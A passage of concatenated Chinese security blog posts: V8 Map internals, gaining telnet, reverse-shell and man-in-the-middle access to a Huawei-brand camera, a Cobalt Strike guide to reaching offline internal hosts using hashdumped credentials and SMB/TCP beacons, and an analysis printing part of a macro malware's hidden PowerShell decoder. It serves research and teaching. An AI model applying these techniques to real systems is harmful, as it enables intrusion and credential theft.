28. // | Byte | [bit_field] |
29. // | | - has_non_instance_prototype (bit 0) |
30. // | | - is_callable (bit 1) |
31. // | | - has_named_interceptor (bit 2) |
32. // | | - has_indexed_interceptor (bit 3) |
33. // | | - is_undetectable (bit 4) |
34. // | | - is_access_check_needed (bit 5) |
35. // | | - is_constructor (bit 6) |
36. // | | - has_prototype_slot (bit 7) |
37. // +----------+---------------------------------------------+
38. // | Byte | [bit_field2] |
39. // | | - new_target_is_base (bit 0) |
40. // | | - is_immutable_proto (bit 1) |
41. // | | - unused bit (bit 2) |
42. // | | - elements_kind (bits 3..7) |
43. // +----+----------+---------------------------------------------+
44. // | Int | [bit_field3] |
45. // | | - enum_length (bit 0..9) |
46. // | | - number_of_own_descriptors (bit 10..19) |
47. // | | - is_prototype_map (bit 20) |
48. // | | - is_dictionary_map (bit 21) |
49. // | | - owns_descriptors (bit 22) |
50. // | | - is_in_retained_map_list (bit 23) |
51. // | | - is_deprecated (bit 24) |
52. // | | - is_unstable (bit 25) |
53. // | | - is_migration_target (bit 26) |
54. // | | - is_extensible (bit 28) |
55. // | | - may_have_interesting_symbols (bit 28) |
56. // | | - construction_counter (bit 29..31) |
57. // | | |
58. // +*************************************************************+
59. // | Int | On systems with 64bit pointer types, there |
60. // | | is an unused 32bits after bit_field3 |
61. // +*************************************************************+
62. // | TaggedPointer | [prototype] |
63. // +---------------+---------------------------------------------+
64. // | TaggedPointer | [constructor_or_backpointer] |
65. // +---------------+---------------------------------------------+
66. // | TaggedPointer | [instance_descriptors] |
67. // +*************************************************************+
68. // ! TaggedPointer ! [layout_descriptors] !
69. // ! ! Field is only present if compile-time flag !
70. // ! ! FLAG_unbox_double_fields is enabled !
71. // ! ! (basically on 64 bit architectures) !
72. // +*************************************************************+
73. // | TaggedPointer | [dependent_code] |
74. // +---------------+---------------------------------------------+
75. // | TaggedPointer | [prototype_validity_cell] |
76. // +---------------+---------------------------------------------+
77. // | TaggedPointer | If Map is a prototype map: |
78. // | | [prototype_info] |
79. // | | Else: |
80. // | | [raw_transitions] |
81. // +---------------+---------------------------------------------+
前面提到Map是格式统一、大小固定的数据结构，即规定的位置代表指定的含义。上面代码是它的格式，它大小是80个字节，代码9行，instance_size代表图1中的存储空间的大小；代码24行，instance_type代表图1中的存储空间内的JS数据类型，例如：JS数组、JSFunction等。代码66行，instance_descriptors对JS数据的详细描述，例如：每个成员都是什么，存在哪里等。
**注意**
：每一个JavaScript对象的存储空间的第一个位置都是一个Map指针，也就是每个js对象都有Map，Map大小不因js对象不同而改变，始终是80字节，存储内容也如上所示，保持不变。它用来描述JS对象的形状，相同形状的不同js对象共同一个Map。“形状相同”是类型一样，内部成员存储布局也一样，如下面代码：
function Point(x,y) {
this.x = x;
this.y = y;
}
var fun1 = new Point(1,2);
var fun2 = new Point(3,4);
`fun1`和`fun2`共用一个Map，因为他们的形状一样。执行`fun2.z=80;`之后，fun2的形状发生了变，随之会有新的Map产生，叫Map迁移，后续文章会讲解。
下面来看是Map类的核心代码：
1. class Map : public HeapObject {
2. public:
3. //...............省略很多..................
4. DECL_PRIMITIVE_ACCESSORS(bit_field, byte)
5. DECL_PRIMITIVE_ACCESSORS(relaxed_bit_field, byte)
6. // Bit positions for |bit_field|.
7. #define MAP_BIT_FIELD_FIELDS(V, _) \
8. V(HasNonInstancePrototypeBit, bool, 1, _) \
9. V(IsCallableBit, bool, 1, _) \
10. V(HasNamedInterceptorBit, bool, 1, _) \
11. V(HasIndexedInterceptorBit, bool, 1, _) \
12. V(IsUndetectableBit, bool, 1, _) \
13. V(IsAccessCheckNeededBit, bool, 1, _) \
14. V(IsConstructorBit, bool, 1, _) \
15. V(HasPrototypeSlotBit, bool, 1, _)
16. DEFINE_BIT_FIELDS(MAP_BIT_FIELD_FIELDS)
17. #undef MAP_BIT_FIELD_FIELDS
18. // Bit field 2.
19. DECL_PRIMITIVE_ACCESSORS(bit_field2, byte)
20. // Bit positions for |bit_field2|.
21. #define MAP_BIT_FIELD2_FIELDS(V, _) \
22. V(NewTargetIsBaseBit, bool, 1, _) \
23. V(IsImmutablePrototypeBit, bool, 1, _) \
24. V(UnusedBit, bool, 1, _) \
25. V(ElementsKindBits, ElementsKind, 5, _)
26. DEFINE_BIT_FIELDS(MAP_BIT_FIELD2_FIELDS)
27. #undef MAP_BIT_FIELD2_FIELDS
28. DECL_PRIMITIVE_ACCESSORS(bit_field3, uint32_t)
29. V8_INLINE void clear_padding();
30. // Bit positions for |bit_field3|.
31. #define MAP_BIT_FIELD3_FIELDS(V, _) \
32. V(EnumLengthBits, int, kDescriptorIndexBitCount, _) \
33. V(NumberOfOwnDescriptorsBits, int, kDescriptorIndexBitCount, _) \
34. V(IsPrototypeMapBit, bool, 1, _) \
35. V(IsDictionaryMapBit, bool, 1, _) \
36. V(OwnsDescriptorsBit, bool, 1, _) \
37. V(IsInRetainedMapListBit, bool, 1, _) \
38. V(IsDeprecatedBit, bool, 1, _) \
39. V(IsUnstableBit, bool, 1, _) \
40. V(IsMigrationTargetBit, bool, 1, _) \
41. V(IsExtensibleBit, bool, 1, _) \
42. V(MayHaveInterestingSymbolsBit, bool, 1, _) \
43. V(ConstructionCounterBits, int, 3, _)
44. DEFINE_BIT_FIELDS(MAP_BIT_FIELD3_FIELDS)
45. #undef MAP_BIT_FIELD3_FIELDS
46. DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize,
47. TORQUE_GENERATED_MAP_FIELDS)
48. //...............省略很多..................
49. OBJECT_CONSTRUCTORS(Map, HeapObject);
50. };
上述代码中，只保留了MAP格式的定义，我们对DEFINE_FIELD_OFFSET_CONSTANTS做展开，如下：
1. enum {
2. TORQUE_GENERATED_MAP_FIELDS_StartOffset= 7,
3. kInstanceSizeInWordsOffset=8, kInstanceSizeInWordsOffsetEnd = 8,
4. kInObjectPropertiesStartOrConstructorFunctionIndexOffset=9, kInObjectPropertiesStartOrConstructorFunctionIndexOffsetEnd = 9,
5. kUsedOrUnusedInstanceSizeInWordsOffset=10, kUsedOrUnusedInstanceSizeInWordsOffsetEnd = 10,
6. kVisitorIdOffset=11, kVisitorIdOffsetEnd = 11,
7. kInstanceTypeOffset=12, kInstanceTypeOffsetEnd = 13,
8. kBitFieldOffset=14, kBitFieldOffsetEnd = 14,
9. kBitField2Offset=15, kBitField2OffsetEnd = 15,
10. kBitField3Offset=16, kBitField3OffsetEnd = 19,
11. kOptionalPaddingOffset=20, kOptionalPaddingOffsetEnd = 23,
12. kStartOfStrongFieldsOffset=24, kStartOfStrongFieldsOffsetEnd = 23,
13. kPrototypeOffset=24, kPrototypeOffsetEnd = 31,
14. kConstructorOrBackPointerOffset=32, kConstructorOrBackPointerOffsetEnd = 39,
15. kInstanceDescriptorsOffset=40, kInstanceDescriptorsOffsetEnd = 47,
16. kLayoutDescriptorOffset=48, kLayoutDescriptorOffsetEnd = 55,
17. kDependentCodeOffset=56, kDependentCodeOffsetEnd = 63,
18. kPrototypeValidityCellOffset=64, kPrototypeValidityCellOffsetEnd = 71,
19. kEndOfStrongFieldsOffset=72, kEndOfStrongFieldsOffsetEnd = 71,
20. kStartOfWeakFieldsOffset=72, kStartOfWeakFieldsOffsetEnd = 71,
21. kTransitionsOrPrototypeInfoOffset=72, kTransitionsOrPrototypeInfoOffsetEnd = 79,
22. kEndOfWeakFieldsOffset=80, kEndOfWeakFieldsOffsetEnd = 79,
23. kSize=80, kSizeEnd = 79,
24. }
代码2行TORQUE_GENERATED_MAP_FIELDS_StartOffset说明了Map的起始偏移是7（从0算起），也就是第8个字节，前面提到一个Map的大小是80个字节，由于Map继承Heap对象，这80个字节中的前8个字节是Heap对象，所以它的实际可用的字节是72个，每个成员的偏移和大小与前述第一段代码（Map
Layout）对应。Map的创建和回收由V8的Heap负责管理，下面是创建Map的源码位置：
1. AllocationResult Heap::AllocateRaw(int size_in_bytes, AllocationType type,
2. AllocationOrigin origin,
3. AllocationAlignment alignment) {
4. //.....省略很多.......
5. if (AllocationType::kYoung == type) {
6. //.....省略很多.......
7. } else if (AllocationType::kOld == type) {
8. //.....省略很多.......
9. } else if (AllocationType::kCode == type) {
10. if (size_in_bytes <= code_space()->AreaSize() && !large_object) {
11. allocation = code_space_->AllocateRawUnaligned(size_in_bytes);
12. } else {
13. allocation = code_lo_space_->AllocateRaw(size_in_bytes);
14. }
15. } else if (AllocationType::kMap == type) {
16. allocation = map_space_->AllocateRawUnaligned(size_in_bytes);
17. } else if (AllocationType::kReadOnly == type) {
18. #ifdef V8_USE_SNAPSHOT
19. DCHECK(isolate_->serializer_enabled());
20. #endif
21. DCHECK(!large_object);
22. DCHECK(CanAllocateInReadOnlySpace());
23. DCHECK_EQ(AllocationOrigin::kRuntime, origin);
24. allocation =
25. read_only_space_->AllocateRaw(size_in_bytes, alignment, origin);
26. } else {
27. UNREACHABLE();
28. }
29. return allocation;
30. }
代码15行，`type=KMap`时`size_in_bytes`是80，进入代码16行分配内存，图2给出了执行代码16的调用堆栈。
`AllocateRaw()`分配内存后返回到`AllocateMap()`,对内存进行初始化，代码如下：
1. Map Factory::InitializeMap(Map map, InstanceType type, int instance_size,
2. ElementsKind elements_kind,
3. int inobject_properties) {
4. map.set_instance_type(type);
5. map.set_prototype(*null_value(), SKIP_WRITE_BARRIER);
6. map.set_constructor_or_backpointer(*null_value(), SKIP_WRITE_BARRIER);
7. map.set_instance_size(instance_size);
8. if (map.IsJSObjectMap()) {
9. DCHECK(!ReadOnlyHeap::Contains(map));
10. map.SetInObjectPropertiesStartInWords(instance_size / kTaggedSize - 11. inobject_properties);
12. DCHECK_EQ(map.GetInObjectProperties(), inobject_properties);
13. map.set_prototype_validity_cell(*invalid_prototype_validity_cell());
14. } else {
15. DCHECK_EQ(inobject_properties, 0);
16. map.set_inobject_properties_start_or_constructor_function_index(0);
17. map.set_prototype_validity_cell(Smi::FromInt(Map::kPrototypeChainValid));
18. }
19. map.set_dependent_code(DependentCode::cast(*empty_weak_fixed_array()),
20. SKIP_WRITE_BARRIER);
21. map.set_raw_transitions(MaybeObject::FromSmi(Smi::zero()));
22. map.SetInObjectUnusedPropertyFields(inobject_properties);
23. map.SetInstanceDescriptors(isolate(), *empty_descriptor_array(), 0);
24. if (FLAG_unbox_double_fields) {
25. map.set_layout_descriptor(LayoutDescriptor::FastPointerLayout());
26. }
27. //.................省略很多...............
28. return map;
29. }
上面代码是对Map的初始化，按最开始给出的May
layout对每个字段（bit位、byte位、short位等）进行初始化。代码8，9，10，13行对JSObject对象中的InObject数据进行初始化，“InObject”是存储在JSObject对象内部的数据，访问这些数据更快。代码28返回Map,至此Map生成完毕，后续会通过这个Map访问图1中的存储空间，请读者自行跟踪代码，不再赘述。
## 3 Map初始化
在V8的启动阶段，`CreateInitialMaps()`对所有Javascript类型分别建立对应的空Map，“空Map”说明了创建某个JS类型数据所需的最小内存空间。这样，开发者创建javascript对象时，V8先用对应的空Map申请一段最小空间，随时开发者对JS对象添加成员，Map也会发生改变。下面给出Map初始化的源码：
1. bool Heap::CreateInitialMaps() {//....代码太长，中间省略很多........
2. HeapObject obj;
3. {
4. AllocationResult allocation = AllocatePartialMap(MAP_TYPE, Map::kSize);
5. if (!allocation.To(&obj)) return false;
6. }
7. Map new_meta_map = Map::unchecked_cast(obj);
8. set_meta_map(new_meta_map);
9. new_meta_map.set_map_after_allocation(new_meta_map);
10. //...................分隔线....................
11. ReadOnlyRoots roots(this);
12. { // Partial map allocation
13. #define ALLOCATE_PARTIAL_MAP(instance_type, size, field_name) \
14. { \
15. Map map; \
16. if (!AllocatePartialMap((instance_type), (size)).To(&map)) return false; \
17. set_##field_name##_map(map); \
18. }
19. ALLOCATE_PARTIAL_MAP(FIXED_ARRAY_TYPE, kVariableSizeSentinel, fixed_array);
20. ALLOCATE_PARTIAL_MAP(WEAK_FIXED_ARRAY_TYPE, kVariableSizeSentinel,
21. weak_fixed_array);
22. ALLOCATE_PARTIAL_MAP(WEAK_ARRAY_LIST_TYPE, kVariableSizeSentinel,
23. //...................分隔线....................
24. #undef ALLOCATE_PARTIAL_MAP
25. }
26. // Allocate the empty array.
27. {
28. AllocationResult alloc =
29. AllocateRaw(FixedArray::SizeFor(0), AllocationType::kReadOnly);
30. if (!alloc.To(&obj)) return false;
31. obj.set_map_after_allocation(roots.fixed_array_map(), SKIP_WRITE_BARRIER);
32. FixedArray::cast(obj).set_length(0);
33. }
34. set_empty_fixed_array(FixedArray::cast(obj));
35. //...................分隔线....................
36. FinalizePartialMap(roots.meta_map());
37. FinalizePartialMap(roots.fixed_array_map());
38. FinalizePartialMap(roots.weak_fixed_array_map());
39. {
40. if (!AllocateRaw(FixedArray::SizeFor(0), AllocationType::kReadOnly)
41. .To(&obj)) {
42. return false;
43. }
44. obj.set_map_after_allocation(roots.closure_feedback_cell_array_map(),
45. SKIP_WRITE_BARRIER);
46. FixedArray::cast(obj).set_length(0);
47. set_empty_closure_feedback_cell_array(ClosureFeedbackCellArray::cast(obj));
48. }
49. DCHECK(!InYoungGeneration(roots.empty_fixed_array()));
50. roots.bigint_map().SetConstructorFunctionIndex(
51. Context::BIGINT_FUNCTION_INDEX);
52. return true;
53. }
分隔线把代码分成了四部分，代码4,5,6,7,8行创建`meta_data`，这是所有Map都要用的元信息；代码13~22行，结合宏模板`ALLOCATE_PARTIAL_MAP`创建`ARRAY`和`ARRAY_LIST`类型的Map；代码27~34行创建其类型Map；分三批创建是因为后者的创建要依赖前者。最后，36开始，是完成所有Map创建的最终工作，并存储到root_table中，图3给出部分Map在root_table中的存储位置。
root_table是由下面的一系列宏板定义实现的指针类型数组，通过debug跟踪代码，可以看到meta_data在root_table中的位置下标是10，其它的下标请读者自行计算。
#define READ_ONLY_ROOT_LIST(V) \
STRONG_READ_ONLY_ROOT_LIST(V) \
INTERNALIZED_STRING_ROOT_LIST(V) \
PRIVATE_SYMBOL_ROOT_LIST(V) \
PUBLIC_SYMBOL_ROOT_LIST(V) \
WELL_KNOWN_SYMBOL_ROOT_LIST(V) \
STRUCT_MAPS_LIST(V) \
ALLOCATION_SITE_MAPS_LIST(V) \
DATA_HANDLER_MAPS_LIST(V)
#define MUTABLE_ROOT_LIST(V) \
STRONG_MUTABLE_IMMOVABLE_ROOT_LIST(V) \
STRONG_MUTABLE_MOVABLE_ROOT_LIST(V) \
V(StringTable, string_table, StringTable) \
SMI_ROOT_LIST(V)
#define ROOT_LIST(V) \
READ_ONLY_ROOT_LIST(V) \
MUTABLE_ROOT_LIST(V)
上述定义了root_table,通过宏模板的参数，可猜想出每个元素的大体功能和作用，配合debug跟踪来验证猜想是否确。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLab
原文链接：<https://mp.weixin.qq.com/s/Vag9k6feE9IONJYWhkq_pw>**
## **简介**
本篇我们继续分享一些关于华为智联旗下小豚AI摄像头的研究内容，在上一篇文章中，我们已经通过串口顺利登录设备的Linux操作系统，接下来我们还会介绍两种登录设备系统的方法，可以在串口无法使用时发挥作用。
下文中，我们需要编译可以在摄像头设备中正常运行的程序，所以开始之前，先要把SDK开发环境配置好，比如说交叉编译器等。好在我们买到的SDK还不错，该有的文档、必要的脚本一个都不差，按照指示步骤逐步操作即可。在开发文档中，可以找到配置SDK相关的章节，如下图：
图1-1 配置SDK开发环境
按照上图中的SDK安装方法，逐步配置完成安装SDK。在安装过程中可能需要下载一些文件，别担心，在正常的网络环境下，都是可以顺利下载到的，不需要额外的辅助工具。配置完毕之后，开始本篇的正题。
## **telnet分析**
串口虽然可以登录摄像头设备，但毕竟还需要硬件电路连接，使用起来比较麻烦，而如果能通过telnet登录则会更加方便快捷。启动摄像头的telnetd也需要两步操作：其一是重新编译busybox，增加telnetd功能；其二是在linux启动脚本中挂载设备文件。
在binwalk提取的squashfs文件系统中，可以找到telnetd软链接，链接到了busybox程序。逆向分析busybox程序之后，就可以发现固件中的busybox程序并没有实现telnetd功能，如下图所示：
图2-1 busybox支持的命令列表
上图中，
busybox支持的命令中没有telnetd。为解决此问题，需要重新编译SDK中的busybox程序，我们之前已经完成了开发环境的SDK部署工作。SDK中包含了编译busybox所需要的代码以及相关的makefile文件，我们只需要调整.config文件，确定编译出的busybox程序包含telnetd、tftpd等需要的功能，然后执行make
hibusybox即可，如下图所示：
图2-2 编译busybox时的.config文件
编译完成之后，用编译得到的busybox替换固件文件系统中的原有busybox程序，就可以保证摄像头有了telnetd功能。接下来还需要挂载devpts设备文件，否则telnetd在建立第一个telnet连接后就会崩溃。将挂载devpts设备文件的两条指令放在linux的启动脚本(big_run.sh和small_run.sh)中，并加上启动telnetd的指令，就完成了对文件系统的全部调整，如下图：
图2-3 调整Linux启动脚本
最后，将文件系统重打包并烧录到Flash中，再次上电后即可通过telnet登录摄像头设备。
## **反向shell分析**
虽然通过前文的两个方法已经能够顺利登录linux操作系统了，但是Flash已经被热风枪吹下来了，就再多准备一种后备措施，这样可以避免因为前两种方法都失效而翻来覆去地吹焊Flash。在本节中，我们准备了一个简单的反向(reverse)
shell作为后备措施，反向shell代码有很多，我们随便选择一种就好，下面的代码段即为我们将要编译的reverse shell代码：
图3-1 反向shell小程序
代码比较简单，建立tcp连接之后，将输入和输出重定向到tcp连接。
用SDK中包含的交叉编译器编译该程序，然后用qemu进行本地测试，测试通过后将其放入固件的文件系统中，然后在linux启动脚本中，增加启动反向shell的指令，最后打包文件系统，烧录固件至Flash中。待摄像头正常启动之后，在主机使用nc监听设置的端口，即可通过反向shell登录设备linux系统中，如下图所示：
图3-2 通过reverse shell登录
## **hilink程序分析**
在正常登录设备Linux系统之后，我们就开始分析和调试设备中运行的程序，在前文提到的3种登录方式之中，telnet是最简单易用的，所以我们在后文中统一使用telnet作为登录方式。
首先使用ps指令查看系统中正在运行的关键进程，如下图所示：
图4-1 摄像头设备中正在运行的程序
上图中，有三个关键进程：hilink是负责华为智联的关键模块、ipc是负责摄像头主要逻辑功能的模块而monitor看起来是负责监控设备运行状态的模块。我们在上一篇中提到摄像头和云端的TLS通信就是由hilink程序产生的，接下来我们就分析分析这个hilink程序。
照惯例，先开启该程序的运行日志。通过逆向分析该程序，可以找到用于判断是否打印日志的函数，如下图所示：
图4-2 打印日志前的判断
上图中，logLevel函数即为判断当前等级（R0=3）的日志是否需要打印，我们只需要修改logLevel函数的返回值永远为1，即可打印出所有日志。
通过运行日志可以大体上掌握程序的执行流程。在程序启动后，首先会在云端注册登录，由关键字符串“LoginToCloud”找到关键代码段，如下图：
图4-3 hilink登录到云端
根据上图中的内容，推测其通信内容除了TLS加密外，还有一次应用层加密。此时，仅仅做静态分析有些困难，我们编译一份gdbserver传到设备上调试一下。在SDK中，包含了gdb项目，只要正常编译出来就可以直接使用。我们编译的busybox包含了tftp功能，可以用来传输文件。关于gdbserver调试相关的内容，可以参考海康萤石的那篇分析文章，这里不再复述。调试截图如下：
图4-4 调试hilink程序
通过调试可以确定，有很大一部分请求并没有执行hilink_encrypt_coap_buf函数，这意味着并没有进行应用层加密。
接下来，我们试着给程序打个补丁，修正一下其TLS证书，然后做一个中间人攻击，看看是否能够拿到通信数据，用于打补丁的脚本如下：
图4-5 给hilink程序打补丁
这个脚本功能也很简单，只是把程序中的TLS证书更改为我们自己生成的TLS证书。
最后再写一个实施中间人攻击的脚本，将通信内容进行简单的整理，即可获得下图中的内容：
图4-6 获取hilink程序通信内容
上图中的这些通信内容，可以帮助我们继续深入分析，但这里就不做过多的陈述，感兴趣的读者可以自行尝试。
## **小结**
关于小豚AI摄像头的分析文章到此就结束了，在这两篇分析中，我们介绍了3种登录linux操作系统的常用方式，分别是串口、telnet和reverse
shell，各位读者在分析其他设备时可以根据实际情况选择其中一种合适的方法。此外，经由这两篇对这个摄像头进行的各种尝试，设备已经处于一个可调试的状态，文章中我们只对摄像头中运行的hilink程序进行了初步分析，感兴趣的读者完全可以在此基础上继续探索，挖掘潜在的漏洞。最后，希望各位读者能够有所收获，后续我们还会继续分享更多的案例。
* * * | 社区文章 |
# 不出网主机的几种上线方式
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
拿到一台边缘机器后，内网的机器很有可能大多数都不出网，这时又想上线cs方便后续操作。本文就如何上线不出网主机的方式进行了总结。
## 环境搭建
### 目标内网机器
* os：win server 2012
* ip：192.168.57.137
### 边缘机器
* os：win server 2012
* ip1：192.168.1.103（出网）
* ip2：192.168.57.136
### 攻击机器
* os：kali liunx
* ip：192.168.1.128
* os：ubutu 16.04
* vps ip：47.xxxxxxxx
由于边缘主机出网，选择reverse反向连接，现在已经上线边缘主机
## SMB Beacon
该方法通过已有的父Beacon使用SMB协议进行正向连接不出网机器，要求目标开启445端口，通过命名管道进行认证即可上线。其实有点像psexec这样的工具，有用户名和hash后，即可执行远程命令，其原理相似。内网的机器密码相同的情况很多，这也是为什么现在为了提高安全性不能批量设置密码，内网渗透一但有了密码往往有时候就宣告结束。
并且有个好处就是SMB协议一般防火墙是不拦截的，在一定程度上可以规避防火墙拦截。
先使用hashdump和logonpasswords命令抓一波密码。由于这里是win2012系统，是无法直接抓取明文密码的，这里也不需要去修改注册表，或者通过mimilib.dll注入的方式去获取明文密码，有hash就足够了，SMB验证身份本身用的就是NTMLv2协议。
这里是抓到了该机器上的hash
>
> 有个小tips，如果对方机器是64位的，最好就用x64的exe上线就可以了，以前我觉得x32和x64都行。虽然都可以上线，但是如果用的是x32的beacon，很有可能是抓不到64位机器上的密码的，使用cs集成的mimikatz会提示：32位的mimikatz无法抓取到64位机器的密码。所以目标是最好就用64位就用64位的artifact。
然后通过端口扫描，发现内网机器：
到这里不懂原理的小白(我)可能就会直接使用cs自带的psexec功能直接去横向，恰巧我之前就是这么做的，想起来还挺有意思的。
结果就是服务已经创建了，但是上不了线，那会儿自己心里想肯定是cs出bug了，还烦了一会儿，现在想起来还挺有意思的。
本身是没有问题的，说明psexec已经成功的完成了ntml认证，并且认证成功，但是这时候shell是反弹给边缘机器的，如果要上线就要再新建一个SMB
Beacon Listener。相当于通过边缘机器再中转一下，反弹shell到vps。
选择子Beacon：SMB Beacon。成功上线。
（出去吃个饭回来内网机器ip变了。。）
这里可以看下拓扑图，是通过边缘机器正向连接了不出网的内网主机。
在external后面有一个oooo，这实际上是标明了当前SMB的连接状态：
> SMB Beacon有两个命令：link，unlink。
unlink则会断开连接，link会重新连接
执行命令unlink
unlink 192.168.57.140
后面的oooo变成了oo oo，说明已经断开连接，但是只是断开了连接，进程并没有被杀掉。
使用命令重新回连：
link 192.168.57.140
> 我在实战中暂时没有用到过这个功能，但应该是有一定作用的，持久化后门，更加隐蔽？这里具体的实战情景明白的师傅可以说一下。
## TCP Beacon
这种方式一般试用于：密码撞不上，内网机器有web服务。
这里做个代理，假设已经写入了shell文件，用冰蝎挂代理去连webshell。
在cs上新增一个Listen，Tcp Beacon
横向的时候最好都使用这个带s的windows可执行文件，s的含义为Stageless，相对的是Stager。下面是我自己的理解：
>
> Stager是分步式，分阶段的，只用少部分代码来请求和加载payload，cs的加载payload模式为反射加载beacon.dll，但这个beacon.dll并不在可执行文件中，而是在远程C2服务端。
>
>
> Stageless则是将beacon.dll包含在可执行文件中，并且可能有写额外的操作，于是文件比较大，特征也更明显，但是适合横向不出网机器，因为不出网所以有可能请求不了c2服务端上的beacon.dll。
Stageless的可执行文件比Stager的可执行文件大了将近15倍。真的离谱。
然后用冰蝎上传beacon.exe。然后执行
执行后使用connect 命令连接：
connect 192.168.57.140
拓扑图如下，为tcp正向连接：
同样是可以使用unlink来断开连接，这里与SMB
Beacon不一样的是，如果Beacon进程是以普通权限运行的话，进程会直接死掉，再connect就会失败。
这里由于是Administrator权限，unlink后可以通过connect重新连接回来。
## Reverse TCP Beacon
也可以被称为中继上线。
同样需要有内网web，传shell。右键跳板机shell，选择Pivoting->Listener。
Listen Host为内网ip。
这里要注意一下，如果有多张网卡，这个默认的Listen Host是需要改的，需要填入同一网段的ip。
比如我这里的跳板机器就有两张网卡，默认填入的host是192.168.1.103，这个就需要改，因为内网不出网机器是无法访问到192.168.1.103这张网卡的，只能访问192.168.57.143（跳板机ip又变了）
同样生成Stageless的可执行文件。
上传后执行beacon.exe
执行后回来看cs就已经上线，不需要link或者connect了。
拓扑图为反向的tcp连接
值得注意的是，中继方法无法unlink后重连，不管权限如何，一旦unlink后进程直接结束。要想重新上线只能重新执行beacon.exe。
## 后记
实际情况下，由于环境原因，网络状况错综复杂。比如：stageless的可执行文件比较大，又因为挂了代理，传不上去怎么办。其实就可以将beacon.exe上传到跳板机器上，用windows自带的certutil工具，直接在内网机器上请求下载跳板机上的beacon.exe。这样确实是更加稳当的。
上面这个tips是我再看星球中的@emmm…分享的pdf学到的，感谢分享。 | 社区文章 |
第一次分析Office类宏VBA病毒，做个记录。
# 样本概况
## 测试环境及工具
> 运行平台：Windows 7 x64 进程监控工具：ProcessHacker 调试分析工具：powershell_ise、Visual
> Studio2019
## 样本基本信息
> 文件名称: a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5.doc
> 样本类型: Microsoft Word 2007+
> 样本大小: 28.44KB (29123 bytes)
> MD5: 9eafc9090d71b382af7c8c04e83d61d2
> SHA1: 32a192bab959b725cc02cf3df9b063e160b9ac43
> SHA256: a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5
在virustotal上查询该样本，被标记为Downloader，而且还有一些厂商还未捕获该样本。
## 沙箱检测：
沙箱检测出病毒创建了3个进程，其中有一个是powershell.exe、释放了4个文件。
下面分析一下这个样本。
# 样本分析
## VBA宏分析
word 2010双击点开样本，提示需要启用宏功能，这是典型的Office类宏病毒手法，使用VBA宏脚本来隐藏实际功能，如下：
这里按下 **alt+f11** 打开宏调试器。
但是代码被混淆了，我们将所有内容复制出来，在网址<https://www.automateexcel.com/vba-code-indenter/>
将其复原（虽然效果一般，依然有些排版混乱）如下：
## 动态调试
### 分析VBA代码
由于排版混乱，各种goto语句乱跳，静态分析让人头疼，我们将代码复制到宏调试器，直接动态调试。
f8单步我们可以发现函数`Docuement_Open`为入口函数，这里在入口设置断点（直接点击侧边的位置即可）。
`Dim Garniture As Object` 是声明Garniture变量为Object 数据类型。Object 数据类型Garniture变量存储为
32 位（4个字节）的地址形式，其为对象的引用。利用 Set 语句，声明为 Object的变量可以赋值为任何对象的引用。
使用 `GetObject` 函数返回文件中的 ActiveX 对象的引用，而且可以将该对象赋给对象变量。可以使用 Set 语句将 `GetObject`
返回的对象赋给对象变量。如：
Dim test As Object
Set test = GetObject("C:\test.exe")
#### Lethbridge函数
接着继续f8进入到`Lethbridge`函数，这里传入的参数为`de9a2c49a42b6`
> 视图--->本地窗口可以打开变量窗口，可以直接观察到每个变量的值。
`StrConv`是对字符串进行操作，第2个参数很关键，而且必填，其值的和决定转换的类型。
128表示的操作是Garniture变量存的字符串从 Unicode 转换为系统的默认代码页；
64表示将字符串转换为Unicode使用系统的默认代码页。
这里的参数是128，表示将Garniture变量存的字符串从 Unicode
转换为系统的默认代码页（我的理解是类似C++的String转char），然后存放在`Humoursome`数组。便于后续的解密操作。
调试过后可以知道，`Lethbridge`函数的作用是将`Humoursome`数组内容取出来一个一个进行解密，解密过后的结果为：
Lethbridge : "winmgmts:\\.\root\cimv2:Win32_Process" : String
> Win32_Process 类别代表在 Win32 系统上的一系列事件。
>
> "winmgmts:\\.\root\CIMV2"用法的说明是创建对象，获取进程相关信息。
>
> 总之通过"winmgmts:\\.\root\cimv2:Win32_Process"这个对象来创建进程，获取进程信息。
继续往下，获取`Win32_Process`字符串之后调用`GetObject`函数获取指定的对象并将获取的对象传入到调用函数`SnottineSS`内，该函数也会解密出一个字符串内容并通过
`Win32_Process.Create`函数会创建一个进程，如下
紧接着下面又解密了一个字符串：
可以看出这是一个3692Byte的powershell脚本。内容如下：
powershell -WindowStyle Hidden
function y171e {
param($z4627)$k58be9='a57157c';
$yce74a='';
for ($i=0; $i -lt $z4627.length;$i+=2)
{
$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);
$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
}
return
很显然这上面的内容肯定没有3692Byte，说明该powershell脚本并不完整。或者说，参数被隐藏了。
由`powershell -WindowStyle Hidden`可以知道，该脚本程序会在启动时将`PowerShell`窗口隐藏然后才执行之后的操作。
**我们需要得到完整的Power Shell脚本。**
启动Process
Hacker.exe监控进程，重新调试，在上面创建进程这个地方，powershell.exe一闪而过。可以确定此处打开了powershell.exe。
我们在此处下断点，再一次重新调试，运行到此处不f8，而是shift+f8，在Process
Hacker.exe中抓住powershell.exe一闪而逝的机会点击，powershell.exe打开属性，在General-->Command
line中可以看到完整的powershell脚本，如下：
将其复制出来，整理一下，得到完整的powershell脚本：
powershell -WindowStyle Hidden
function y171e
{
param($z4627)$k58be9='a57157c';
$yce74a='';
for ($i=0; $i -lt $z4627.length;$i+=2)
{
$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);
$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
}
return $yce74a;
}
